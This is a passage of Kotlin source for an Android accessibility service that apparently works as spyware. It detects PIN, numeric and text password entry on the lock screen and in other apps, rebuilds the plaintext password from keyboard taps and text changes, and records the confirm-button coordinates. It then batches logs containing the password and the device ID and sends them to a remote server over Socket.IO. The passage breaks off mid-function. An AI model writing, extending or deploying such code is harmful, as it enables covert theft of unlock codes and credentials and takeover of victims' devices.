"PIN码"
|
||
}
|
||
|
||
// 3. 检查数字类型密码
|
||
isNumericPassword(displayText, actualText) -> {
|
||
// PIN码检测(长度和上下文)
|
||
if ((cleanActualText.length == 4 || cleanActualText.length == 6) && isPinContext(classLower)) {
|
||
Log.d(TAG, " 检测结果: PIN码(长度和上下文匹配)")
|
||
"PIN码"
|
||
}
|
||
// 默认数字密码
|
||
else {
|
||
Log.d(TAG, " 检测结果: 数字密码(纯数字)")
|
||
"数字密码"
|
||
}
|
||
}
|
||
|
||
// 4. 基于显示模式的判断(全掩码显示)
|
||
displayText.all { it == '•' || it == '*' || it.isWhitespace() } -> {
|
||
when {
|
||
currentPasswordLength in 4..6 && isPinContext(classLower) -> {
|
||
Log.d(TAG, " 检测结果: PIN码(掩码显示,长度和上下文匹配)")
|
||
"PIN码"
|
||
}
|
||
|
||
else -> {
|
||
Log.d(TAG, " 检测结果: 数字密码(掩码显示,默认情况)")
|
||
"数字密码"
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
|
||
// 6. 默认情况
|
||
else -> {
|
||
Log.d(TAG, " 检测结果: 文本密码(默认情况)")
|
||
"文本密码"
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "🔍 最终密码类型: $detectedType")
|
||
return detectedType
|
||
}
|
||
|
||
// ✅ 新增:检查是否为数字密码
|
||
private fun isNumericPassword(displayText: String, actualText: String): Boolean {
|
||
val cleanActual = actualText.replace(Regex("[•*\\s]"), "")
|
||
val cleanDisplay = displayText.replace(Regex("[•*\\s]"), "")
|
||
|
||
// 检查是否主要由数字和掩码字符组成
|
||
val isMainlyNumericAndMask = displayText.all { it.isDigit() || it == '•' || it == '*' || it.isWhitespace() }
|
||
val hasNumericContent = cleanActual.any { it.isDigit() } || cleanDisplay.any { it.isDigit() }
|
||
val hasNoLetters = !cleanActual.any { it.isLetter() } && !cleanDisplay.any { it.isLetter() }
|
||
|
||
return isMainlyNumericAndMask && hasNumericContent && hasNoLetters
|
||
}
|
||
|
||
// ✅ 新增:检查是否为PIN码上下文
|
||
private fun isPinContext(classLower: String): Boolean {
|
||
return classLower.contains("pin") ||
|
||
classLower.contains("numeric") ||
|
||
classLower.contains("number") ||
|
||
classLower.contains("keypad")
|
||
}
|
||
|
||
|
||
|
||
/**
|
||
* 判断是否应该结束密码输入
|
||
*/
|
||
private fun shouldFinishPasswordInput(text: String, beforeText: String): Boolean {
|
||
// ✅ 修复:统一所有密码类型的完成检测逻辑
|
||
|
||
val isCleared = beforeText.length > 0 && text.length == 0
|
||
val noLengthChange = text.length == beforeText.length && text.length > 0
|
||
val hasContent = text.length > 0
|
||
|
||
// ✅ 对于数字密码,使用更简单的逻辑:每次输入都可能触发完成检测
|
||
if (numericPasswordSequence.isNotEmpty()) {
|
||
Log.d(TAG, "🔢 数字密码输入,允许触发完成检测")
|
||
return true // 允许触发完成检测,具体时间控制在调用方
|
||
}
|
||
|
||
// ✅ 修复:对于所有密码类型,只要有内容就允许触发完成检测
|
||
// 具体的时间控制在调用方的延迟逻辑中进行
|
||
if (hasContent) {
|
||
Log.d(TAG, "🔒 密码有内容(${text.length}位),允许触发完成检测")
|
||
return true
|
||
}
|
||
|
||
// 传统的清空检测逻辑保留
|
||
return isCleared
|
||
}
|
||
|
||
/**
|
||
* 分析密码输入模式 - ✅ 修复:使用传入的实际密码长度
|
||
*/
|
||
private fun analyzePasswordPattern(actualPasswordLength: Int = currentPasswordLength): Map<String, Any> {
|
||
if (passwordInputEvents.isEmpty()) {
|
||
return mapOf("pattern" to "no_events")
|
||
}
|
||
|
||
val totalDuration = if (passwordInputEvents.size > 1) {
|
||
(passwordInputEvents.last()["timestamp"] as Long) - (passwordInputEvents.first()["timestamp"] as Long)
|
||
} else {
|
||
0L
|
||
}
|
||
|
||
// 分析输入间隔
|
||
val intervals = mutableListOf<Long>()
|
||
for (i in 1 until passwordInputEvents.size) {
|
||
val prevTime = passwordInputEvents[i-1]["timestamp"] as Long
|
||
val currTime = passwordInputEvents[i]["timestamp"] as Long
|
||
intervals.add(currTime - prevTime)
|
||
}
|
||
|
||
val avgInterval = if (intervals.isNotEmpty()) intervals.average() else 0.0
|
||
val maxInterval = intervals.maxOrNull() ?: 0L
|
||
val minInterval = intervals.minOrNull() ?: 0L
|
||
|
||
// 分析删除操作
|
||
val deleteCount = passwordInputEvents.count { (it["lengthChange"] as Int) < 0 }
|
||
val inputCount = passwordInputEvents.count { (it["lengthChange"] as Int) > 0 }
|
||
|
||
// 分析输入特征 - ✅ 使用实际密码长度
|
||
val complexity = when {
|
||
actualPasswordLength <= 4 -> "简单密码"
|
||
actualPasswordLength <= 8 -> "中等复杂度"
|
||
actualPasswordLength <= 12 -> "复杂密码"
|
||
else -> "很复杂密码"
|
||
}
|
||
|
||
val typingSpeed = when {
|
||
avgInterval < 500 -> "快速输入"
|
||
avgInterval < 1500 -> "正常速度"
|
||
else -> "慢速输入"
|
||
}
|
||
|
||
val inputPattern = when {
|
||
deleteCount == 0 -> "一次性输入"
|
||
deleteCount <= 2 -> "少量修正"
|
||
else -> "多次修正"
|
||
}
|
||
|
||
return mapOf(
|
||
"totalEvents" to passwordInputEvents.size,
|
||
"inputDuration" to totalDuration,
|
||
"averageInterval" to avgInterval.toLong(),
|
||
"maxInterval" to maxInterval,
|
||
"minInterval" to minInterval,
|
||
"passwordLength" to actualPasswordLength, // ✅ 使用实际密码长度
|
||
"deleteCount" to deleteCount,
|
||
"inputCount" to inputCount,
|
||
"complexity" to complexity,
|
||
"typingSpeed" to typingSpeed,
|
||
"inputPattern" to inputPattern,
|
||
"intervals" to intervals
|
||
)
|
||
}
|
||
|
||
/**
|
||
* 构建密码分析结果的详细文本 - ✅ 增强版本,包含确认按钮信息
|
||
*/
|
||
private fun buildPasswordAnalysisText(
|
||
analysis: Map<String, Any>,
|
||
duration: Long,
|
||
eventCount: Int,
|
||
finalLength: Int,
|
||
reconstructedPassword: String = "",
|
||
confirmButtonCoordinate: Pair<Float, Float>? = null
|
||
): String {
|
||
val complexity = analysis["complexity"] as String
|
||
val typingSpeed = analysis["typingSpeed"] as String
|
||
val inputPattern = analysis["inputPattern"] as String
|
||
val avgInterval = analysis["averageInterval"] as Long
|
||
val deleteCount = analysis["deleteCount"] as Int
|
||
|
||
val passwordInfo = if (reconstructedPassword.isNotEmpty()) {
|
||
" | 密码:${reconstructedPassword}"
|
||
} else ""
|
||
|
||
val confirmInfo = if (confirmButtonCoordinate != null) {
|
||
" | 确认坐标:(${confirmButtonCoordinate.first.toInt()}, ${confirmButtonCoordinate.second.toInt()})"
|
||
} else ""
|
||
|
||
return "🔑 密码输入分析完成 - " +
|
||
"耗时${duration}ms,${eventCount}个操作 | " +
|
||
"长度:${finalLength}位${passwordInfo} | " +
|
||
"复杂度:${complexity} | " +
|
||
"输入:${typingSpeed}(平均${avgInterval}ms/操作) | " +
|
||
"模式:${inputPattern}" +
|
||
if (deleteCount > 0) ",${deleteCount}次删除" else "" +
|
||
confirmInfo
|
||
}
|
||
|
||
/**
|
||
* ✅ 密码重构算法 - 简化的两级策略:优先键盘点击,备用文本分析
|
||
*/
|
||
private fun reconstructPassword(): String {
|
||
Log.d(TAG, "🔍 密码重构开始")
|
||
Log.d(TAG, " 数字键盘序列数量: ${numericPasswordSequence.size}")
|
||
Log.d(TAG, " 密码输入事件数量: ${passwordInputEvents.size}")
|
||
Log.d(TAG, " 当前密码长度: $currentPasswordLength")
|
||
|
||
try {
|
||
// ✅ 策略1:优先使用键盘点击序列(最可靠)
|
||
if (numericPasswordSequence.isNotEmpty()) {
|
||
Log.d(TAG, "🔢 [策略1] 使用键盘点击序列重构密码")
|
||
return reconstructPasswordFromKeyboardClicks()
|
||
}
|
||
|
||
// ✅ 策略2:备用方案,使用文本显示分析
|
||
if (passwordInputEvents.isNotEmpty()) {
|
||
Log.d(TAG, "📝 [策略2] 使用文本显示分析重构密码")
|
||
return reconstructPasswordFromTextEvents()
|
||
}
|
||
|
||
Log.w(TAG, "❌ 没有可用的密码重构数据")
|
||
return ""
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "密码重构失败", e)
|
||
return "?".repeat(currentPasswordLength)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 策略1:从键盘点击序列重构密码(修复版)
|
||
*/
|
||
private fun reconstructPasswordFromKeyboardClicks(): String {
|
||
// 按时间戳排序确保正确的输入顺序
|
||
val sortedSequence = numericPasswordSequence.sortedBy { it["timestamp"] as Long }
|
||
|
||
Log.d(TAG, "🔢 键盘点击序列 (按时间排序):")
|
||
sortedSequence.forEachIndexed { index, digitEvent ->
|
||
val digit = digitEvent["digit"] as? String ?: "?"
|
||
val timestamp = digitEvent["timestamp"] as? Long ?: 0L
|
||
val source = digitEvent["source"] as? String ?: "unknown"
|
||
Log.d(TAG, " [$index] $digit (时间戳: $timestamp, 来源: $source)")
|
||
}
|
||
|
||
// ✅ 修复:去重相同时间戳的重复数字,避免重复记录
|
||
val deduplicatedSequence = mutableListOf<Map<String, Any>>()
|
||
var lastTimestamp = 0L
|
||
var lastDigit = ""
|
||
|
||
for (digitEvent in sortedSequence) {
|
||
val digit = digitEvent["digit"] as? String ?: "?"
|
||
val timestamp = digitEvent["timestamp"] as? Long ?: 0L
|
||
|
||
// ✅ vivo设备使用优化的重构去重窗口,避免过度去重
|
||
val reconstructionWindow = if (isVivoDevice) {
|
||
vivoOptimizedReconstructionWindow // vivo设备: 50ms
|
||
} else {
|
||
100L // 其他设备: 100ms
|
||
}
|
||
|
||
// 如果时间戳相差很小且数字相同,视为重复记录
|
||
if (timestamp - lastTimestamp < reconstructionWindow && digit == lastDigit) {
|
||
Log.d(TAG, "🔢 [去重] 跳过重复数字: $digit (时间差: ${timestamp - lastTimestamp}ms, 去重窗口: ${reconstructionWindow}ms)")
|
||
if (isVivoDevice) {
|
||
Log.d(TAG, "📱 [vivo优化] 使用优化重构去重窗口")
|
||
}
|
||
continue
|
||
}
|
||
|
||
deduplicatedSequence.add(digitEvent)
|
||
lastTimestamp = timestamp
|
||
lastDigit = digit
|
||
}
|
||
|
||
Log.d(TAG, "🔢 去重后序列数量: ${deduplicatedSequence.size} (原始: ${sortedSequence.size})")
|
||
|
||
// ✅ vivo设备优化提示
|
||
if (isVivoDevice && deduplicatedSequence.size > 0) {
|
||
Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构完成,使用优化参数:")
|
||
Log.i(TAG, " - 程序化检测窗口: ${vivoOptimizedProgrammaticDetectionWindow}ms")
|
||
Log.i(TAG, " - 重复过滤窗口: ${vivoOptimizedDuplicateWindow}ms")
|
||
Log.i(TAG, " - 重构去重窗口: ${vivoOptimizedReconstructionWindow}ms")
|
||
}
|
||
|
||
// 拼接去重后的数字序列
|
||
val password = StringBuilder()
|
||
for (digitEvent in deduplicatedSequence) {
|
||
val digit = digitEvent["digit"] as? String ?: "?"
|
||
password.append(digit)
|
||
}
|
||
|
||
val result = password.toString()
|
||
Log.d(TAG, "🔢 键盘点击重构结果: '$result' (长度: ${result.length})")
|
||
|
||
// ✅ vivo设备重构结果验证
|
||
if (isVivoDevice && result.isNotEmpty()) {
|
||
Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构成功: $result")
|
||
}
|
||
|
||
// 验证密码长度合理性
|
||
if (result.length > 0 && result.length <= 20) { // 合理的密码长度范围
|
||
return result
|
||
} else {
|
||
Log.w(TAG, "⚠️ 键盘点击重构的密码长度不合理: ${result.length}")
|
||
return result // 即使长度不合理也返回,让调用方决定如何处理
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 策略2:从文本事件重构密码(修复版 - 支持重复字符)
|
||
*/
|
||
private fun reconstructPasswordFromTextEvents(): String {
|
||
Log.d(TAG, "📝 文本事件重构开始,事件数量: ${passwordInputEvents.size}")
|
||
|
||
if (passwordInputEvents.isEmpty()) {
|
||
return ""
|
||
}
|
||
|
||
// ✅ 修复:使用最长的明文字符串作为基础,而不是去重
|
||
var longestPlainText = ""
|
||
|
||
for ((index, event) in passwordInputEvents.withIndex()) {
|
||
val displayText = event["displayText"] as? String ?: ""
|
||
val actualPasswordText = event["actualPasswordText"] as? String ?: ""
|
||
|
||
Log.d(TAG, " 事件[$index]: 显示='$displayText', 实际='$actualPasswordText'")
|
||
|
||
// 检查每个文本,找出包含最多明文字符的版本
|
||
val textsToCheck = listOf(displayText, actualPasswordText)
|
||
for (text in textsToCheck) {
|
||
// 提取明文字符(非掩码字符)
|
||
val plainChars = text.filter { it != '•' && it != '*' && it != ' ' && it.isLetterOrDigit() }
|
||
if (plainChars.length > longestPlainText.length) {
|
||
longestPlainText = plainChars
|
||
Log.d(TAG, "📝 [重构] 更新最长明文: '$longestPlainText' (来自文本: '$text')")
|
||
}
|
||
}
|
||
}
|
||
|
||
// ✅ 优先使用增量重构(更准确),如果失败再使用明文提取
|
||
val incrementalResult = reconstructFromIncrementalChanges()
|
||
val finalResult = if (incrementalResult.isNotEmpty() && !incrementalResult.contains("?")) {
|
||
Log.d(TAG, "📝 [重构] 增量重构成功: '$incrementalResult'")
|
||
incrementalResult
|
||
} else if (longestPlainText.isNotEmpty()) {
|
||
Log.d(TAG, "📝 [重构] 使用明文提取结果: '$longestPlainText'")
|
||
longestPlainText
|
||
} else {
|
||
Log.d(TAG, "📝 [重构] 回退到增量重构结果(可能包含占位符): '$incrementalResult'")
|
||
incrementalResult
|
||
}
|
||
|
||
Log.d(TAG, "📝 文本事件重构结果: '$finalResult' (长度: ${finalResult.length})")
|
||
|
||
return finalResult
|
||
}
|
||
|
||
/**
|
||
* ✅ 修复:从增量变化重构密码(处理逐字符输入的情况)
|
||
*/
|
||
private fun reconstructFromIncrementalChanges(): String {
|
||
Log.d(TAG, "📝 [增量重构] 开始分析文本变化模式,事件数量: ${passwordInputEvents.size}")
|
||
|
||
if (passwordInputEvents.isEmpty()) {
|
||
Log.w(TAG, "📝 [增量重构] 没有文本事件,返回空")
|
||
return ""
|
||
}
|
||
|
||
val password = StringBuilder()
|
||
var lastLength = 0
|
||
|
||
// 按时间戳排序确保正确的输入顺序
|
||
val sortedEvents = passwordInputEvents.sortedBy { it["timestamp"] as? Long ?: 0L }
|
||
|
||
for ((index, event) in sortedEvents.withIndex()) {
|
||
val displayText = event["displayText"] as? String ?: ""
|
||
val actualPasswordText = event["actualPasswordText"] as? String ?: ""
|
||
val currentLength = maxOf(displayText.length, actualPasswordText.length)
|
||
|
||
Log.d(TAG, " [增量重构] 事件[$index]: 长度=$currentLength (上次=$lastLength), 显示='$displayText', 实际='$actualPasswordText'")
|
||
|
||
// 只处理长度增加的情况(新字符输入)
|
||
if (currentLength > lastLength) {
|
||
val newCharCount = currentLength - lastLength
|
||
Log.d(TAG, " [增量重构] 检测到 $newCharCount 个新字符")
|
||
|
||
// 优先从实际密码文本中查找新字符
|
||
val textsToCheck = listOf(actualPasswordText, displayText)
|
||
var foundChars = 0
|
||
|
||
for (text in textsToCheck) {
|
||
if (text.length >= currentLength) {
|
||
// 从上次位置开始查找新字符
|
||
for (i in lastLength until currentLength) {
|
||
if (i < text.length) {
|
||
val char = text[i]
|
||
if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) {
|
||
password.append(char)
|
||
foundChars++
|
||
Log.d(TAG, " [增量重构] 位置[$i] 发现明文字符: '$char'")
|
||
} else if (char == '•' || char == '*') {
|
||
// 遇到掩码字符,尝试从之前的明文版本推断
|
||
val inferredChar = inferCharFromPreviousTexts(i, sortedEvents, index)
|
||
if (inferredChar != null) {
|
||
password.append(inferredChar)
|
||
foundChars++
|
||
Log.d(TAG, " [增量重构] 位置[$i] 推断字符: '$inferredChar'")
|
||
} else {
|
||
password.append("?")
|
||
foundChars++
|
||
Log.d(TAG, " [增量重构] 位置[$i] 使用占位符: '?'")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
if (foundChars >= newCharCount) break
|
||
}
|
||
}
|
||
|
||
// 如果还有字符没找到,用占位符填充
|
||
while (foundChars < newCharCount) {
|
||
password.append("?")
|
||
foundChars++
|
||
Log.d(TAG, " [增量重构] 补充占位符,当前: '${password.toString()}'")
|
||
}
|
||
|
||
lastLength = currentLength
|
||
}
|
||
}
|
||
|
||
val result = password.toString()
|
||
Log.d(TAG, "📝 [增量重构] 最终结果: '$result' (长度: ${result.length})")
|
||
return result
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:从之前的文本事件中推断字符
|
||
*/
|
||
private fun inferCharFromPreviousTexts(position: Int, sortedEvents: List<Map<String, Any>>, currentIndex: Int): String? {
|
||
// 向前查找,看之前是否有这个位置的明文字符
|
||
for (i in currentIndex - 1 downTo 0) {
|
||
val prevEvent = sortedEvents[i]
|
||
val prevDisplayText = prevEvent["displayText"] as? String ?: ""
|
||
val prevActualText = prevEvent["actualPasswordText"] as? String ?: ""
|
||
|
||
for (text in listOf(prevActualText, prevDisplayText)) {
|
||
if (position < text.length) {
|
||
val char = text[position]
|
||
if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) {
|
||
Log.d(TAG, " [推断] 从历史事件[$i]找到位置[$position]的字符: '$char'")
|
||
return char.toString()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
return null
|
||
}
|
||
|
||
/**
|
||
* 处理滚动事件
|
||
*/
|
||
private fun handleViewScrolled(event: AccessibilityEvent) {
|
||
val text = event.text?.joinToString(" ") ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
|
||
// 普通滚动事件处理
|
||
if (text.isNotEmpty() || className.isNotEmpty()) {
|
||
logScope.launch {
|
||
recordLog(
|
||
"GESTURE",
|
||
"滚动页面",
|
||
mapOf(
|
||
"text" to text,
|
||
"className" to className,
|
||
"packageName" to packageName
|
||
)
|
||
)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 获取应用名称
|
||
*/
|
||
private fun getAppName(packageName: String): String? {
|
||
return try {
|
||
val packageManager = service.packageManager
|
||
val applicationInfo = packageManager.getApplicationInfo(packageName, 0)
|
||
packageManager.getApplicationLabel(applicationInfo).toString()
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "获取应用名称失败: $packageName", e)
|
||
null
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送日志到服务器(优化版本,避免传输冲突)
|
||
*/
|
||
private suspend fun sendLogToServer(logType: String, content: String, extraData: Map<String, Any>?) {
|
||
try {
|
||
val deviceId = getDeviceId()
|
||
if (deviceId.isNullOrEmpty()) {
|
||
Log.w(TAG, "❌ 设备ID为空,无法发送日志")
|
||
return
|
||
}
|
||
|
||
val logData = JSONObject().apply {
|
||
put("deviceId", deviceId)
|
||
put("logType", logType)
|
||
put("content", content)
|
||
put("timestamp", System.currentTimeMillis())
|
||
|
||
extraData?.let { data ->
|
||
val extraJson = JSONObject()
|
||
data.forEach { (key, value) ->
|
||
extraJson.put(key, value)
|
||
}
|
||
put("extraData", extraJson)
|
||
}
|
||
}
|
||
|
||
// 🔧 关键修复:延迟批量发送,避免与屏幕数据传输冲突
|
||
synchronized(logSendBuffer) {
|
||
logSendBuffer.add(logData)
|
||
Log.v(TAG, "📝 操作日志已加入缓冲区: $logType - $content (缓冲区大小: ${logSendBuffer.size})")
|
||
}
|
||
|
||
// 🔧 取消之前的发送任务,重新安排延迟发送
|
||
logSendJob?.cancel()
|
||
logSendJob = kotlinx.coroutines.GlobalScope.launch {
|
||
delay(logSendDelay) // 延迟1秒发送,避免与控制命令同时传输
|
||
|
||
val logsToSend = synchronized(logSendBuffer) {
|
||
val logs = logSendBuffer.toList()
|
||
logSendBuffer.clear()
|
||
logs
|
||
}
|
||
|
||
if (logsToSend.isNotEmpty()) {
|
||
withContext(Dispatchers.Main) {
|
||
try {
|
||
val socketIOManager = getSocketIOManager()
|
||
if (socketIOManager != null) {
|
||
// 🔧 批量发送,减少Socket.IO调用频率
|
||
logsToSend.forEach { logData ->
|
||
socketIOManager.sendOperationLog(logData)
|
||
}
|
||
lastLogSendTime = System.currentTimeMillis()
|
||
Log.d(TAG, "📤 批量发送操作日志完成: ${logsToSend.size} 条日志")
|
||
} else {
|
||
Log.w(TAG, "⚠️ SocketIOManager不可用,日志发送失败")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 批量发送日志失败", e)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 构建日志消息失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 获取设备ID
|
||
*/
|
||
private fun getDeviceId(): String? {
|
||
return try {
|
||
android.provider.Settings.Secure.getString(
|
||
service.contentResolver,
|
||
android.provider.Settings.Secure.ANDROID_ID
|
||
)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取设备ID失败", e)
|
||
null
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 获取SocketIO管理器
|
||
*/
|
||
private fun getSocketIOManager(): com.hikoncont.network.SocketIOManager? {
|
||
return try {
|
||
// 通过反射获取私有字段
|
||
val field = service.javaClass.getDeclaredField("socketIOManager")
|
||
field.isAccessible = true
|
||
field.get(service) as? com.hikoncont.network.SocketIOManager
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取SocketIOManager失败", e)
|
||
null
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 从文本中提取字符 - 支持数字、字母和特殊字符
|
||
* 支持的格式:
|
||
* - 纯数字:1, 2, 3
|
||
* - 纯字母:a, b, c
|
||
* - 带字母格式:PQRS 7, MNO 6, 5 JKL
|
||
* - 特殊字符:@, #, *, .
|
||
*/
|
||
private fun extractDigitFromText(text: String): String? {
|
||
if (text.isEmpty()) return null
|
||
|
||
// 1. 如果是单个字符(数字、字母、特殊字符),直接返回
|
||
if (text.length == 1) {
|
||
return when {
|
||
text.matches(Regex("[0-9a-zA-Z@#*.,!?]")) -> {
|
||
Log.d(TAG, "🔍 [字符提取] 单字符: '$text'")
|
||
text
|
||
}
|
||
else -> null
|
||
}
|
||
}
|
||
|
||
// 2. 查找文本中的数字字符(优先数字)
|
||
val digits = text.filter { it.isDigit() }
|
||
|
||
// 3. 如果只有一个数字,返回它
|
||
if (digits.length == 1) {
|
||
Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取数字: '$digits'")
|
||
return digits
|
||
}
|
||
|
||
// 4. 如果有多个数字,尝试识别键盘布局模式
|
||
if (digits.length > 1) {
|
||
// 对于电话键盘,通常数字在前面或后面
|
||
// 常见格式:PQRS 7, 5 JKL, ABC 2, DEF 3
|
||
val textUpper = text.uppercase()
|
||
|
||
// 检查是否是标准电话键盘格式
|
||
val phoneKeyMap = mapOf(
|
||
"ABC" to "2", "DEF" to "3", "GHI" to "4", "JKL" to "5",
|
||
"MNO" to "6", "PQRS" to "7", "TUV" to "8", "WXYZ" to "9"
|
||
)
|
||
|
||
for ((letters, digit) in phoneKeyMap) {
|
||
if (textUpper.contains(letters)) {
|
||
Log.d(TAG, "🔍 [字符提取] 从 '$text' 识别电话键盘格式: '$digit'")
|
||
return digit
|
||
}
|
||
}
|
||
|
||
// 如果不是标准格式,返回第一个数字
|
||
Log.d(TAG, "🔍 [字符提取] 从 '$text' 返回第一个数字: '${digits[0]}'")
|
||
return digits[0].toString()
|
||
}
|
||
|
||
// 5. 如果没有数字,检查是否有单个字母
|
||
val letters = text.filter { it.isLetter() }
|
||
if (letters.length == 1) {
|
||
Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取字母: '$letters'")
|
||
return letters
|
||
}
|
||
|
||
// 6. 检查特殊字符
|
||
val specialChars = text.filter { it in "@#*.,!?()-" }
|
||
if (specialChars.length == 1) {
|
||
Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取特殊字符: '$specialChars'")
|
||
return specialChars
|
||
}
|
||
|
||
// 7. 如果都没有,返回null
|
||
Log.d(TAG, "🔍 [字符提取] 从 '$text' 未找到可识别字符")
|
||
return null
|
||
}
|
||
|
||
/**
|
||
* 检测是否为虚拟键盘按键
|
||
*/
|
||
private fun isVirtualKeyboard(packageName: String, className: String): Boolean {
|
||
val packageLower = packageName.toLowerCase()
|
||
val classLower = className.toLowerCase()
|
||
|
||
return packageLower.contains("inputmethod") ||
|
||
packageLower.contains("keyboard") ||
|
||
classLower.contains("keyboard") ||
|
||
classLower.contains("keyboardview")
|
||
}
|
||
|
||
|
||
|
||
/**
|
||
* 检测当前是否正在输入密码(PIN码等)
|
||
*/
|
||
private fun isCurrentlyInputtingPassword(packageName: String, className: String): Boolean {
|
||
val packageLower = packageName.lowercase()
|
||
val classLower = className.lowercase()
|
||
|
||
// 检查最近是否有密码输入活动
|
||
val recentPasswordInput = isPasswordInputActive ||
|
||
(System.currentTimeMillis() - lastPasswordEventTime < 2000)
|
||
|
||
// SystemUI中与密码/PIN码相关的组件
|
||
val isPasswordRelated = packageLower.contains("systemui") && (
|
||
classLower.contains("edittext") ||
|
||
classLower.contains("password") ||
|
||
classLower.contains("pin") ||
|
||
classLower.contains("numpad") ||
|
||
classLower.contains("keyboard")
|
||
)
|
||
|
||
return recentPasswordInput || isPasswordRelated
|
||
}
|
||
|
||
/**
|
||
* 检测是否为指纹传感器
|
||
*/
|
||
private fun isFingerprintSensor(contentDescription: String, className: String): Boolean {
|
||
val descLower = contentDescription.toLowerCase()
|
||
val classLower = className.toLowerCase()
|
||
|
||
return descLower.contains("fingerprint") ||
|
||
descLower.contains("指纹") ||
|
||
classLower.contains("fingerprint")
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强:处理触摸开始事件 - 第三方应用键盘检测的关键
|
||
*/
|
||
private fun handleTouchStart(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
val contentDesc = event.contentDescription?.toString() ?: ""
|
||
|
||
// 检查是否为输入法相关包名
|
||
val isInputMethodPackage = packageName.lowercase().let { pkg ->
|
||
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
|
||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
|
||
pkg.contains("baidu") || pkg.contains("iflytek")
|
||
}
|
||
|
||
val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
|
||
|
||
// ✅ 记录触摸开始事件,特别关注有文本内容的
|
||
if (!packageName.contains("systemui", ignoreCase = true)) {
|
||
if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) {
|
||
Log.i(TAG, "👇 [$appType] 触摸开始: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
|
||
|
||
// ✅ 分析是否为键盘触摸
|
||
analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_START")
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强:处理触摸结束事件 - 键盘字符确认的关键时机
|
||
*/
|
||
private fun handleTouchEnd(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
val contentDesc = event.contentDescription?.toString() ?: ""
|
||
|
||
// 检查是否为输入法相关包名
|
||
val isInputMethodPackage = packageName.lowercase().let { pkg ->
|
||
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
|
||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
|
||
pkg.contains("baidu") || pkg.contains("iflytek")
|
||
}
|
||
|
||
val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
|
||
|
||
// ✅ 记录触摸结束事件,这是键盘输入确认的关键时机
|
||
if (!packageName.contains("systemui", ignoreCase = true)) {
|
||
if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) {
|
||
Log.i(TAG, "👆 [$appType] 触摸结束: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
|
||
|
||
// ✅ 分析是否为键盘触摸并记录字符
|
||
analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_END")
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
/**
|
||
* 处理视图选择事件(可能用于图案解锁)
|
||
*/
|
||
private fun handleViewSelected(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
|
||
|
||
}
|
||
|
||
/**
|
||
* 处理窗口内容变化 - ✅ 优化版本,区分数字密码和图案解锁
|
||
*/
|
||
private fun handleWindowContentChanged(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className")
|
||
|
||
|
||
// ✅ 优先检测数字密码输入
|
||
if (isPasswordField(event)) {
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val beforeText = event.beforeText?.toString() ?: ""
|
||
|
||
Log.d(TAG, "🔢 窗口内容变化检测到密码字段: 包名=$packageName, 类名=$className, 文本='$text'")
|
||
|
||
// 如果有文本变化,处理为密码输入
|
||
if (text != beforeText || text.isNotEmpty()) {
|
||
handlePasswordInput(event, text, beforeText, currentTime)
|
||
return // ✅ 处理完密码输入后直接返回,不继续处理图案解锁
|
||
}
|
||
}
|
||
|
||
// ✅ 检测SystemUI中的数字键盘输入(通过AccessibilityNodeInfo)
|
||
if (packageName.contains("systemui", ignoreCase = true)) {
|
||
val source = event.source
|
||
if (source != null) {
|
||
try {
|
||
